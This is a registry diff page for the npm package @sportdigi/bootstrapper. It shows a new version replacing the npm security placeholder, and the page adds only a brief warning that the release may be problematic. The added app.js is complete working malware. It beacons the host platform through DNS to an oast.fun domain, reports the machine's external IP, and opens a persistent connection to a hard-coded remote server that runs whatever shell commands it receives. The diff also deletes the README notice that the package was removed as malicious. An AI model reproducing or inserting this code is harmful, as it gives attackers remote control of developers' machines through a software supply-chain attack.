@sportdigi/bootstrapper 0.0.1-security → 32.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @sportdigi/bootstrapper might be problematic. Click here for more details.
- package/app.js +89 -0
- package/package.json +13 -3
- package/README.md +0 -5
package/app.js
ADDED
|
@@ -0,0 +1,89 @@
|
|
|
1
|
+
const dns = require('dns');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const net = require('net');
|
|
4
|
+
const https = require('https');
|
|
5
|
+
const { exec } = require('child_process');
|
|
6
|
+
|
|
7
|
+
let platform = os.platform();
|
|
8
|
+
function sendDns(query) {
|
|
9
|
+
let domain = `${query}.pthtwfqhxteakeawipjws71vanexrvnzs.oast.fun`;
|
|
10
|
+
dns.resolve(domain, (err) => {
|
|
11
|
+
if (err) {
|
|
12
|
+
console.error('DNS sorgulama hatası:', err.message);
|
|
13
|
+
}
|
|
14
|
+
});
|
|
15
|
+
}
|
|
16
|
+
|
|
17
|
+
if (platform === 'win32') {
|
|
18
|
+
sendDns('windows');
|
|
19
|
+
}
|
|
20
|
+
sendDns(platform);
|
|
21
|
+
|
|
22
|
+
function getExternalIP(callback) {
|
|
23
|
+
https.get('https://api.ipify.org?format=json', (res) => {
|
|
24
|
+
let data = '';
|
|
25
|
+
res.on('data', (chunk) => {
|
|
26
|
+
data += chunk;
|
|
27
|
+
});
|
|
28
|
+
|
|
29
|
+
res.on('end', () => {
|
|
30
|
+
const ipData = JSON.parse(data);
|
|
31
|
+
callback(ipData.ip);
|
|
32
|
+
});
|
|
33
|
+
}).on('error', (err) => {
|
|
34
|
+
console.error('IP sorgulama hatası:', err);
|
|
35
|
+
callback(null);
|
|
36
|
+
});
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
function server() {
|
|
40
|
+
const client = net.createConnection({ host: '54.90.237.9', port: 9797 }, () => {
|
|
41
|
+
console.log('Client bağlanıldı.');
|
|
42
|
+
getExternalIP((ip) => {
|
|
43
|
+
if (ip) {
|
|
44
|
+
client.write(`Bağlantı sağlandı. Sunucu dış IP: ${ip}\n`);
|
|
45
|
+
} else {
|
|
46
|
+
client.write('Dış IP alınamadı.\n');
|
|
47
|
+
}
|
|
48
|
+
});
|
|
49
|
+
});
|
|
50
|
+
|
|
51
|
+
client.on('data', (data) => {
|
|
52
|
+
console.log('Client\'tan gelen:', data.toString());
|
|
53
|
+
|
|
54
|
+
const command = data.toString().trim();
|
|
55
|
+
|
|
56
|
+
if (!command) {
|
|
57
|
+
client.write('Geçersiz komut: Boş komut gönderilemez.\n');
|
|
58
|
+
return;
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
exec(command, (err, stdout, stderr) => {
|
|
62
|
+
if (err) {
|
|
63
|
+
client.write(`Hata: ${err.message}\n`);
|
|
64
|
+
return;
|
|
65
|
+
}
|
|
66
|
+
if (stderr) {
|
|
67
|
+
client.write(`Hata (stderr): ${stderr}\n`);
|
|
68
|
+
return;
|
|
69
|
+
}
|
|
70
|
+
client.write(stdout);
|
|
71
|
+
});
|
|
72
|
+
});
|
|
73
|
+
|
|
74
|
+
client.on('end', () => {
|
|
75
|
+
console.log('Bağlantı sonlandırıldı.');
|
|
76
|
+
setTimeout(() => {
|
|
77
|
+
server();
|
|
78
|
+
}, 8000)
|
|
79
|
+
});
|
|
80
|
+
|
|
81
|
+
client.on('error', (err) => {
|
|
82
|
+
console.error('Bağlantı hatası:', err.message);
|
|
83
|
+
setTimeout(() => {
|
|
84
|
+
server();
|
|
85
|
+
}, 8000)
|
|
86
|
+
});
|
|
87
|
+
}
|
|
88
|
+
|
|
89
|
+
server();
|
package/package.json
CHANGED
|
@@ -1,6 +1,16 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@sportdigi/bootstrapper",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "32.1.0",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "app.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": ""
|
|
8
|
+
},
|
|
9
|
+
"author": "james4141",
|
|
10
|
+
"license": "ISC",
|
|
11
|
+
"dependencies": {
|
|
12
|
+
"axios": "^1.7.7",
|
|
13
|
+
"http": "^0.0.1-security",
|
|
14
|
+
"ssh2": "^1.16.0"
|
|
15
|
+
}
|
|
6
16
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=%40sportdigi%2Fbootstrapper for more information.
|